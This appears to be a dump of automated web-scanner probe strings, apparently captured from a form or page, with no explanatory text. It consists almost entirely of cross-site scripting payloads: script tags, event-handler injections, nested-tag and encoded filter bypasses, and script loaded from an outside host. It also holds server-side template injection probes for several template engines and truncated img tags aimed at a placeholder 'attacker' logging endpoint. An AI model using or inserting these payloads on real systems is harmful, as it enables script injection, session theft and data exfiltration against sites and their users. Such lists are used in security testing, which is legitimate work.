555\u003CScRiPt\NvS4(9028)\u003C/sCripT\u003E

555<input autofocus onfocus=dxSa(9518)>

555<ScRiPt >pIxB(9807)</ScRiPt>

bfgx2603\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2603

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img src=//xss.bxss.me/t/dot.gif onload=KC1V(9785)>

<th:t="${dfb}#foreach

555

555<svg  \xa0onload=pIxB(9674)

555&lt

555<img src=xyz OnErRor=KC1V(9723)>

<a HrEF=http://xss.bxss.me></a>

555

555<isindex type=image src=1 onerror=pIxB(9723)>

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

\xf6<img zzz onmouseover=NvS4(95301) //\xf6>

555

555<img/src=">" onerror=alert(9033)>

<a HrEF=jaVaScRiPT:>

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555<input autofocus onfocus=NvS4(9553)>

555

555<iframe src='data:text/html

%35%35%35%3C%53%63%52%69%50%74%20%3E%4B%43%31%56%289062%29%3C%2F%73%43%72%69%70%54%3E

555}body{zzz:Expre/**/SSion(dxSa(9424))}

<a HrEF=http://xss.bxss.me></a>

<th:t="${dfb}#foreach

dfb[[${98991*97996}]]xca

555

555\u003CScRiPt\KC1V(9954)\u003C/sCripT\u003E

5551mZ1x <ScRiPt >dxSa(9265)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555<body onload=pIxB(9138)>

dfb__${98991*97996}__::.x

<a HrEF=jaVaScRiPT:>

555

555<WPHCFV>GPPFW[!+!]</WPHCFV>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555}body{zzz:Expre/**/SSion(NvS4(9747))}

dfb{{98991*97996}}xca

555&lt

555<img src=//xss.bxss.me/t/dot.gif onload=pIxB(9240)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ifRAme sRc=9136.com></IfRamE>

555<ScRiPt >j4cB(9811)</ScRiPt>

dfb{{98991*97996}}xca

555<img src=xyz OnErRor=pIxB(9807)>

555IyLkj <ScRiPt >NvS4(9705)</ScRiPt>

dfb[[${98991*97996}]]xca

\xf6<img zzz onmouseover=KC1V(97671) //\xf6>

dfb[[${98991*97996}]]xca

555

dfb__${98991*97996}__::.x

555<ajDPmDL x=9842>

555<img/src=">" onerror=alert(9938)>

555<WLYCTL>FGFHU[!+!]</WLYCTL>

555<WCQUHD>RU19Y[!+!]</WCQUHD>

555<img sRc='http://attacker-9973/log.php?

dfb__${98991*97996}__::.x

555<aInHSkG<

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<input autofocus onfocus=KC1V(9577)>

555<script>j4cB(9257)</script>

dfb{{98991*97996}}xca

555<ifRAme sRc=9063.com></IfRamE>

%35%35%35%3C%53%63%52%69%50%74%20%3E%70%49%78%42%289368%29%3C%2F%73%43%72%69%70%54%3E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<script>j4cB(9854)</script>9854

555<ScRiPt >Em3x(9844)</ScRiPt>

dfb[[${98991*97996}]]xca

555<aG9qqBI x=9455>

<a HrEF=http://xss.bxss.me></a>

555<ScR<ScRiPt>IpT>j4cB(9515)</sCr<ScRiPt>IpT>

555<ScRiPt >53YD(9856)</ScRiPt>

555\u003CScRiPt\pIxB(9155)\u003C/sCripT\u003E

555<WHVAMD>GBS9R[!+!]</WHVAMD>

dfb__${98991*97996}__::.x

<a HrEF=jaVaScRiPT:>

555<WYGIA3>9CVME[!+!]</WYGIA3>

555<img sRc='http://attacker-9439/log.php?

555<ScRiPt >j4cB(9425)</ScRiPt>

555&lt

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<script>53YD(9643)</script>

555<script>Em3x(9610)</script>

555<ScRiPt >2CEk(9071)</ScRiPt>

555<aVVlZm5<

555}body{zzz:Expre/**/SSion(KC1V(9562))}

\xf6<img zzz onmouseover=pIxB(97601) //\xf6>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9097></ScRiPt>

555<ScRiPt >j4cB(9258)</ScRiPt>

555<script>Em3x(9151)</script>9151

555<WF4W32>4YMOK[!+!]</WF4W32>

555<script>53YD(9234)</script>9234

555<input autofocus onfocus=pIxB(9841)>

555<svg  \xa0onload=j4cB(9495)

555vYesP <ScRiPt >KC1V(9231)</ScRiPt>

555<ScR<ScRiPt>IpT>53YD(9379)</sCr<ScRiPt>IpT>

555<ScR<ScRiPt>IpT>Em3x(9339)</sCr<ScRiPt>IpT>

555<script>2CEk(9441)</script>

555<WJYQ5Y>6YH9U[!+!]</WJYQ5Y>

555<script>2CEk(9743)</script>9743

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >53YD(9112)</ScRiPt>

555<isindex type=image src=1 onerror=j4cB(9625)>

555<ifRAme sRc=9974.com></IfRamE>

555<ScR<ScRiPt>IpT>2CEk(9861)</sCr<ScRiPt>IpT>

555<ScRiPt >Em3x(9445)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9278></ScRiPt>

555<ScRiPt >2CEk(9973)</ScRiPt>

555}body{zzz:Expre/**/SSion(pIxB(9104))}

555<iframe src='data:text/html

555<aL8ANny x=9751>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9326></ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9623></ScRiPt>

555<ScRiPt >53YD(9136)</ScRiPt>

555<body onload=j4cB(9173)>

555z9NdR <ScRiPt >pIxB(9073)</ScRiPt>

555<svg  \xa0onload=53YD(9375)

555<ScRiPt >Em3x(9804)</ScRiPt>

555<ScRiPt >2CEk(9267)</ScRiPt>

555<isindex type=image src=1 onerror=53YD(9680)>

555<svg  \xa0onload=Em3x(9140)

555<img sRc='http://attacker-9118/log.php?

555<img src=//xss.bxss.me/t/dot.gif onload=j4cB(9118)>

555<agjrtQi<

555<W0YDOW>KYESW[!+!]</W0YDOW>

555<isindex type=image src=1 onerror=Em3x(9658)>

555<ifRAme sRc=9457.com></IfRamE>

555<iframe src='data:text/html

555<img src=xyz OnErRor=j4cB(9841)>

555<iframe src='data:text/html

555<svg  \xa0onload=2CEk(9042)

555<body onload=Em3x(9324)>

555<img/src=">" onerror=alert(9479)>

555<am5OWGb x=9396>

555<body onload=53YD(9931)>

555<img src=//xss.bxss.me/t/dot.gif onload=Em3x(9376)>

555<isindex type=image src=1 onerror=2CEk(9616)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6A%34%63%42%289858%29%3C%2F%73%43%72%69%70%54%3E

555<img src=xyz OnErRor=Em3x(9556)>

555<img sRc='http://attacker-9464/log.php?

555<img src=//xss.bxss.me/t/dot.gif onload=53YD(9203)>

555<img src=xyz OnErRor=53YD(9318)>

555\u003CScRiPt\j4cB(9372)\u003C/sCripT\u003E

555<apc6N2H<

555<iframe src='data:text/html

555<img/src=">" onerror=alert(9180)>

555<body onload=2CEk(9027)>

555&lt

%35%35%35%3C%53%63%52%69%50%74%20%3E%45%6D%33%78%289022%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\Em3x(9595)\u003C/sCripT\u003E

\xf6<img zzz onmouseover=j4cB(92091) //\xf6>

555<img/src=">" onerror=alert(9470)>

555<input autofocus onfocus=j4cB(9860)>

555&lt

%35%35%35%3C%53%63%52%69%50%74%20%3E%35%33%59%44%289560%29%3C%2F%73%43%72%69%70%54%3E

555<img src=//xss.bxss.me/t/dot.gif onload=2CEk(9298)>

<a HrEF=http://xss.bxss.me></a>

555<img src=xyz OnErRor=2CEk(9821)>

555\u003CScRiPt\53YD(9673)\u003C/sCripT\u003E

\xf6<img zzz onmouseover=Em3x(99881) //\xf6>

<a HrEF=jaVaScRiPT:>

555&lt

555<input autofocus onfocus=Em3x(9258)>

555<img/src=">" onerror=alert(9053)>

555}body{zzz:Expre/**/SSion(j4cB(9864))}

555aHX9H <ScRiPt >j4cB(9290)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

%35%35%35%3C%53%63%52%69%50%74%20%3E%32%43%45%6B%289009%29%3C%2F%73%43%72%69%70%54%3E

\xf6<img zzz onmouseover=53YD(91271) //\xf6>

555<WJ1GGN>LQDLC[!+!]</WJ1GGN>

555<input autofocus onfocus=53YD(9831)>

<a HrEF=jaVaScRiPT:>

555\u003CScRiPt\2CEk(9102)\u003C/sCripT\u003E

555<ifRAme sRc=9379.com></IfRamE>

555}body{zzz:Expre/**/SSion(Em3x(9628))}

<a HrEF=http://xss.bxss.me></a>

555<aTu9DW0 x=9248>

<a HrEF=jaVaScRiPT:>

555&lt

555LLgMM <ScRiPt >Em3x(9669)</ScRiPt>

555<img sRc='http://attacker-9884/log.php?

555}body{zzz:Expre/**/SSion(53YD(9550))}

\xf6<img zzz onmouseover=2CEk(93441) //\xf6>

555wy8Ol <ScRiPt >53YD(9372)</ScRiPt>

555<input autofocus onfocus=2CEk(9257)>

555<aXC0OMl<

555<WYVWJC>YDHCZ[!+!]</WYVWJC>

<a HrEF=http://xss.bxss.me></a>

555<ifRAme sRc=9640.com></IfRamE>

555<WPYZN8>JJWC9[!+!]</WPYZN8>

555<ifRAme sRc=9153.com></IfRamE>

555<apUInsL x=9196>

555<a4YS2Lf x=9801>

555<img sRc='http://attacker-9215/log.php?

<a HrEF=jaVaScRiPT:>

555<img sRc='http://attacker-9912/log.php?

555<aGKe40B<

555}body{zzz:Expre/**/SSion(2CEk(9683))}

555SOWQL <ScRiPt >2CEk(9229)</ScRiPt>

555'"()&%<zzz><ScRiPt >9U8h(9888)</ScRiPt>

555'"()&%<zzz><ScRiPt >xS5e(9202)</ScRiPt>

555'"()&%<zzz><ScRiPt >CqKp(9319)</ScRiPt>

555'"()&%<zzz><ScRiPt >KIaS(9394)</ScRiPt>

555<aSqOjd0<

555<WLQOLV>DGW8Z[!+!]</WLQOLV>

'"()&%<zzz><ScRiPt >9U8h(9776)</ScRiPt>

555<ifRAme sRc=9492.com></IfRamE>

'"()&%<zzz><ScRiPt >xS5e(9941)</ScRiPt>

'"()&%<zzz><ScRiPt >CqKp(9178)</ScRiPt>

'"()&%<zzz><ScRiPt >KIaS(9557)</ScRiPt>

5559513261

5559048350

5559162020

555

555<aFjisR4 x=9584>

bfg9423\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9423

5559018964

bfg9665\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9665

bfgx2979\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2979

555<img sRc='http://attacker-9882/log.php?

<%={{={@{#{${dfb}}%>

bfgx5768\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5768

bfg2129\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2129

bfg7704\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7704

555<a7ia1It<

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

bfgx5718\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5718

bfgx4855\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4855

555

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555

555

555

<th:t="${dfb}#foreach

<th:t="${dfb}#foreach

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555

555

dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb__${98991*97996}__::.x

dfb{98991*97996}xca

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb[[${98991*97996}]]xca

"}}dfb{{98991*97996}}xca

dfb${98991*97996}xca

dfb__${98991*97996}__::.x

555<ScRiPt >9U8h(9596)</ScRiPt>

"%}dfb{{98991*97996}}xca

dfb#{98991*97996}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<WZVEFF>N5DDP[!+!]</WZVEFF>

dfb{#98991*97996}xca

555<script>9U8h(9708)</script>

dfb{@98991*97996}xca

555<ScRiPt >xS5e(9623)</ScRiPt>

"}dfb{98991*97996}xca

555<script>9U8h(9525)</script>9525

dfb{{=98991*97996}}xca

555<WH13QP>7WGQA[!+!]</WH13QP>

"}dfb${98991*97996}xca

555<script>xS5e(9894)</script>

dfb@(98991*97996)xca

"}dfb#{98991*97996}xca

555<ScR<ScRiPt>IpT>9U8h(9826)</sCr<ScRiPt>IpT>

555<script>xS5e(9458)</script>9458

"}dfb{#98991*97996}xca

dfb<%=98991*97996%>xca

555<ScRiPt >9U8h(9666)</ScRiPt>

"}dfb{@98991*97996}xca

555<ScR<ScRiPt>IpT>xS5e(9989)</sCr<ScRiPt>IpT>

dfb#set($x=98991*97996)${x}xca

"}}dfb{{=98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9035></ScRiPt>

555<ScRiPt >xS5e(9264)</ScRiPt>

dfb{{"abc"|title}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9403></ScRiPt>

")dfb@(98991*97996)xca

555<ScRiPt >9U8h(9444)</ScRiPt>

"%>dfb<%=98991*97996%>xca

print("dfb" . 98991*97996 . "xca")

555<ScRiPt >xS5e(9724)</ScRiPt>

555<svg  \xa0onload=9U8h(9657)

98991*97996*98991*97996

555<svg  \xa0onload=xS5e(9496)

"}dfb#set($x=98991*97996)${x}xca

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<isindex type=image src=1 onerror=9U8h(9986)>

555<isindex type=image src=1 onerror=xS5e(9165)>

"}dfb{{"abc"|title}}xca

dfb{{{this}}}xca

555<iframe src='data:text/html

"print("dfb" . 98991*97996 . "xca")

555<iframe src='data:text/html

555<body onload=xS5e(9976)>

#{98991*97996*98991*97996}

"98991*97996*98991*97996

555<body onload=9U8h(9651)>

555<img src=//xss.bxss.me/t/dot.gif onload=xS5e(9900)>

dfb#{xca}=123

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<img src=//xss.bxss.me/t/dot.gif onload=9U8h(9282)>

dfb{{'abcd'.toUpperCase()}}xca

555<img src=xyz OnErRor=xS5e(9172)>

"}}}dfb{{{this}}}xca

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<img/src=">" onerror=alert(9738)>

555<img src=xyz OnErRor=9U8h(9998)>

"}#{98991*97996*98991*97996}

dfb{{98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%78%53%35%65%289117%29%3C%2F%73%43%72%69%70%54%3E

555<img/src=">" onerror=alert(9273)>

"}dfb#{xca}=123

555\u003CScRiPt\xS5e(9324)\u003C/sCripT\u003E

"}}dfb{{'abcd'.toUpperCase()}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%39%55%38%68%289266%29%3C%2F%73%43%72%69%70%54%3E

dfb[[${98991*97996}]]xca

555&lt

555\u003CScRiPt\9U8h(9246)\u003C/sCripT\u003E

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

\xf6<img zzz onmouseover=xS5e(94341) //\xf6>

dfb__${98991*97996}__::.x

555&lt

555<input autofocus onfocus=xS5e(9614)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=http://xss.bxss.me></a>

"}}dfb{{98991*97996}}xca

555<ScRiPt >CqKp(9562)</ScRiPt>

<a HrEF=jaVaScRiPT:>

\xf6<img zzz onmouseover=9U8h(94741) //\xf6>

"}dfb[[${98991*97996}]]xca

555<WCYLIZ>UGABI[!+!]</WCYLIZ>

555}body{zzz:Expre/**/SSion(xS5e(9223))}

555oVrEJ <ScRiPt >xS5e(9033)</ScRiPt>

"dfb__${98991*97996}__::.x

555<script>CqKp(9756)</script>

555<input autofocus onfocus=9U8h(9378)>

<a HrEF=http://xss.bxss.me></a>

555<WC0HRS>OIWUG[!+!]</WC0HRS>

555'"()&%<zzz><ScRiPt >Y4Rc(9064)</ScRiPt>

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<script>CqKp(9195)</script>9195

<a HrEF=jaVaScRiPT:>

'}}dfb{{98991*97996}}xca

555<ScR<ScRiPt>IpT>CqKp(9396)</sCr<ScRiPt>IpT>

555<ifRAme sRc=9951.com></IfRamE>

'"()&%<zzz><ScRiPt >Y4Rc(9809)</ScRiPt>

555}body{zzz:Expre/**/SSion(9U8h(9239))}

'%}dfb{{98991*97996}}xca

555<ScRiPt >CqKp(9849)</ScRiPt>

5559516703

555<aPG0Tpt x=9005>

555kC7HL <ScRiPt >9U8h(9783)</ScRiPt>

'}dfb{98991*97996}xca

bfg3420\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3420

555<img sRc='http://attacker-9843/log.php?

555<WRMC6H>FCHKG[!+!]</WRMC6H>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9284></ScRiPt>

'}dfb${98991*97996}xca

555<abLps8m<

bfgx9365\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9365

555<ifRAme sRc=9687.com></IfRamE>

555<ScRiPt >CqKp(9036)</ScRiPt>

'}dfb#{98991*97996}xca

<%={{={@{#{${dfb}}%>

555<svg  \xa0onload=CqKp(9552)

555<ahZMBEH x=9070>

<th:t="${dfb}#foreach

'}dfb{#98991*97996}xca

555

555<img sRc='http://attacker-9856/log.php?

'}dfb{@98991*97996}xca

555<isindex type=image src=1 onerror=CqKp(9474)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<iframe src='data:text/html

555<aNGIl2K<

'}}dfb{{=98991*97996}}xca

555

')dfb@(98991*97996)xca

dfb{{98991*97996}}xca

555<body onload=CqKp(9722)>

'%>dfb<%=98991*97996%>xca

dfb[[${98991*97996}]]xca

555<img src=//xss.bxss.me/t/dot.gif onload=CqKp(9380)>

'}dfb#set($x=98991*97996)${x}xca

dfb__${98991*97996}__::.x

555<img src=xyz OnErRor=CqKp(9818)>

'}dfb{{"abc"|title}}xca

555<img/src=">" onerror=alert(9638)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555'"()&%<zzz><ScRiPt >T6HZ(9645)</ScRiPt>

'print("dfb" . 98991*97996 . "xca")

%35%35%35%3C%53%63%52%69%50%74%20%3E%43%71%4B%70%289478%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\CqKp(9033)\u003C/sCripT\u003E

'98991*97996*98991*97996

555<ScRiPt >Y4Rc(9016)</ScRiPt>

'"()&%<zzz><ScRiPt >T6HZ(9091)</ScRiPt>

555&lt

5559824072

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<WGCEMM>LFYKI[!+!]</WGCEMM>

\xf6<img zzz onmouseover=CqKp(97051) //\xf6>

bfg10413\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10413

'}}}dfb{{{this}}}xca

555<script>Y4Rc(9306)</script>

bfgx3808\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3808

555<input autofocus onfocus=CqKp(9057)>

555<script>Y4Rc(9121)</script>9121

'}#{98991*97996*98991*97996}

<%={{={@{#{${dfb}}%>

<a HrEF=http://xss.bxss.me></a>

555

'}dfb#{xca}=123

555<ScR<ScRiPt>IpT>Y4Rc(9817)</sCr<ScRiPt>IpT>

<a HrEF=jaVaScRiPT:>

<th:t="${dfb}#foreach

555}body{zzz:Expre/**/SSion(CqKp(9443))}

'}}dfb{{'abcd'.toUpperCase()}}xca

555<ScRiPt >Y4Rc(9375)</ScRiPt>

555

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555uMMPK <ScRiPt >CqKp(9886)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9004></ScRiPt>

'}}dfb{{98991*97996}}xca

555'"()&%<zzz><ScRiPt >UeDP(9320)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<WWEUQR>YVFOB[!+!]</WWEUQR>

'}dfb[[${98991*97996}]]xca

555<ifRAme sRc=9279.com></IfRamE>

555<ScRiPt >Y4Rc(9544)</ScRiPt>

555'"()&%<zzz><ScRiPt >My1n(9246)</ScRiPt>

'"()&%<zzz><ScRiPt >UeDP(9940)</ScRiPt>

555

'dfb__${98991*97996}__::.x

555<svg  \xa0onload=Y4Rc(9340)

555<aENqFzg x=9040>

5559845037

'"()&%<zzz><ScRiPt >My1n(9597)</ScRiPt>

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{98991*97996}}xca

555<isindex type=image src=1 onerror=Y4Rc(9661)>

bfg6473\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6473

555'"()&%<zzz><ScRiPt >G28I(9172)</ScRiPt>

555<img sRc='http://attacker-9522/log.php?

5559355913

1}}dfb{{98991*97996}}xca

555<iframe src='data:text/html

dfb[[${98991*97996}]]xca

'"()&%<zzz><ScRiPt >G28I(9496)</ScRiPt>

555<awe7sZg<

bfgx10274\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10274

bfg7327\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7327

555<body onload=Y4Rc(9477)>

dfb__${98991*97996}__::.x

1%}dfb{{98991*97996}}xca

<%={{={@{#{${dfb}}%>

5559466993

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

bfgx2264\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2264

1}dfb{98991*97996}xca

555<img src=//xss.bxss.me/t/dot.gif onload=Y4Rc(9690)>

1}dfb${98991*97996}xca

555

bfg9515\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9515

555<ScRiPt >T6HZ(9842)</ScRiPt>

<%={{={@{#{${dfb}}%>

555<img src=xyz OnErRor=Y4Rc(9927)>

bfgx4347\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4347

555<WEDJ1S>BIDCB[!+!]</WEDJ1S>

555

1}dfb#{98991*97996}xca

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

1}dfb{#98991*97996}xca

555

555<img/src=">" onerror=alert(9595)>

555<script>T6HZ(9989)</script>

<th:t="${dfb}#foreach

555

555<script>T6HZ(9168)</script>9168

%35%35%35%3C%53%63%52%69%50%74%20%3E%59%34%52%63%289958%29%3C%2F%73%43%72%69%70%54%3E

555

1}dfb{@98991*97996}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555<ScR<ScRiPt>IpT>T6HZ(9388)</sCr<ScRiPt>IpT>

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}dfb{{=98991*97996}}xca

555

555\u003CScRiPt\Y4Rc(9091)\u003C/sCripT\u003E

555<ScRiPt >T6HZ(9137)</ScRiPt>

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555&lt

1)dfb@(98991*97996)xca

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9860></ScRiPt>

dfb[[${98991*97996}]]xca

\xf6<img zzz onmouseover=Y4Rc(98611) //\xf6>

555

dfb{{98991*97996}}xca

555<ScRiPt >T6HZ(9643)</ScRiPt>

555<input autofocus onfocus=Y4Rc(9907)>

1%>dfb<%=98991*97996%>xca

dfb[[${98991*97996}]]xca

555<svg  \xa0onload=T6HZ(9720)

dfb__${98991*97996}__::.x

<a HrEF=http://xss.bxss.me></a>

dfb{{98991*97996}}xca

1}dfb#set($x=98991*97996)${x}xca

dfb__${98991*97996}__::.x

555<isindex type=image src=1 onerror=T6HZ(9318)>

dfb[[${98991*97996}]]xca

<a HrEF=jaVaScRiPT:>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1}dfb{{"abc"|title}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<iframe src='data:text/html

555<ScRiPt >UeDP(9149)</ScRiPt>

dfb__${98991*97996}__::.x

1print("dfb" . 98991*97996 . "xca")

555<ScRiPt >My1n(9401)</ScRiPt>

555}body{zzz:Expre/**/SSion(Y4Rc(9159))}

555<body onload=T6HZ(9670)>

198991*97996*98991*97996

555<WYV6EI>ZZZ4O[!+!]</WYV6EI>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<WTRIHS>SYGJN[!+!]</WTRIHS>

5551WF2L <ScRiPt >Y4Rc(9561)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=T6HZ(9236)>

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<script>UeDP(9177)</script>

555<script>My1n(9526)</script>

555<WOTL42>JSNW9[!+!]</WOTL42>

555<ScRiPt >G28I(9223)</ScRiPt>

1}}}dfb{{{this}}}xca

555<img src=xyz OnErRor=T6HZ(9149)>

555<ifRAme sRc=9650.com></IfRamE>

555<script>UeDP(9598)</script>9598

555<W3TR2B>NJML0[!+!]</W3TR2B>

1}#{98991*97996*98991*97996}

555<img/src=">" onerror=alert(9684)>

555<script>My1n(9798)</script>9798

555<aftVwRk x=9315>

555<script>G28I(9812)</script>

555<ScR<ScRiPt>IpT>UeDP(9863)</sCr<ScRiPt>IpT>

555<img sRc='http://attacker-9424/log.php?

555<ScR<ScRiPt>IpT>My1n(9434)</sCr<ScRiPt>IpT>

1}dfb#{xca}=123

%35%35%35%3C%53%63%52%69%50%74%20%3E%54%36%48%5A%289685%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt >My1n(9331)</ScRiPt>

555<aS4jy6k<

555<ScRiPt >UeDP(9979)</ScRiPt>

1}}dfb{{'abcd'.toUpperCase()}}xca

555\u003CScRiPt\T6HZ(9728)\u003C/sCripT\u003E

555<script>G28I(9641)</script>9641

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9233></ScRiPt>

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555&lt

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9586></ScRiPt>

555<ScR<ScRiPt>IpT>G28I(9570)</sCr<ScRiPt>IpT>

555'"()&%<zzz><ScRiPt >Q0fC(9899)</ScRiPt>

555<ScRiPt >My1n(9880)</ScRiPt>

\xf6<img zzz onmouseover=T6HZ(98551) //\xf6>

555<ScRiPt >UeDP(9250)</ScRiPt>

555<ScRiPt >G28I(9520)</ScRiPt>

1}}dfb{{98991*97996}}xca

'"()&%<zzz><ScRiPt >Q0fC(9050)</ScRiPt>

555<input autofocus onfocus=T6HZ(9478)>

555<svg  \xa0onload=My1n(9533)

1}dfb[[${98991*97996}]]xca

555<svg  \xa0onload=UeDP(9651)

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9623></ScRiPt>

5559547845

555<isindex type=image src=1 onerror=UeDP(9194)>

555<isindex type=image src=1 onerror=My1n(9413)>

1dfb__${98991*97996}__::.x

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >G28I(9909)</ScRiPt>

bfg5143\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5143

555<iframe src='data:text/html

555<iframe src='data:text/html

bfgx4807\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4807

555<svg  \xa0onload=G28I(9254)

555<body onload=My1n(9270)>

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<body onload=UeDP(9190)>

<a HrEF=jaVaScRiPT:>

<%={{={@{#{${dfb}}%>

555<ScRiPt >KIaS(9408)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=UeDP(9149)>

555}body{zzz:Expre/**/SSion(T6HZ(9875))}

555<img src=//xss.bxss.me/t/dot.gif onload=My1n(9717)>

555<isindex type=image src=1 onerror=G28I(9379)>

555<W3AO8B>RZ4TW[!+!]</W3AO8B>

555qWc1T <ScRiPt >T6HZ(9365)</ScRiPt>

555<img src=xyz OnErRor=UeDP(9506)>

555<iframe src='data:text/html

555

555<img src=xyz OnErRor=My1n(9018)>

555<W2X2UR>PYNT4[!+!]</W2X2UR>

555<body onload=G28I(9756)>

555<img/src=">" onerror=alert(9337)>

<th:t="${dfb}#foreach

555<script>KIaS(9323)</script>

555<img/src=">" onerror=alert(9692)>

555<ifRAme sRc=9579.com></IfRamE>

555<img src=//xss.bxss.me/t/dot.gif onload=G28I(9623)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%55%65%44%50%289189%29%3C%2F%73%43%72%69%70%54%3E

%35%35%35%3C%53%63%52%69%50%74%20%3E%4D%79%31%6E%289469%29%3C%2F%73%43%72%69%70%54%3E

555<script>KIaS(9873)</script>9873

555

555\u003CScRiPt\UeDP(9821)\u003C/sCripT\u003E

555<img src=xyz OnErRor=G28I(9500)>

555<aL7a6QO x=9036>

555\u003CScRiPt\My1n(9347)\u003C/sCripT\u003E

555<ScR<ScRiPt>IpT>KIaS(9904)</sCr<ScRiPt>IpT>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img/src=">" onerror=alert(9361)>

555&lt

555<img sRc='http://attacker-9223/log.php?

555&lt

555<ScRiPt >KIaS(9402)</ScRiPt>

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%47%32%38%49%289238%29%3C%2F%73%43%72%69%70%54%3E

